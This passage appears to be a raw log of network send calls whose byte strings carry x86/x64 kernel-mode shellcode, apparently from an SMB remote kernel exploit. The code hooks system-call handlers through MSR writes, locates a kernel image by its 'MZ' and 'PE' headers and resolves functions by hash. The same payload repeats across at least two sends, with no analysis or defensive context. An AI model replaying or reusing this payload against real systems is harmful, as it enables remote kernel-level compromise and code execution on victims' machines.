0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 7, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 8, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 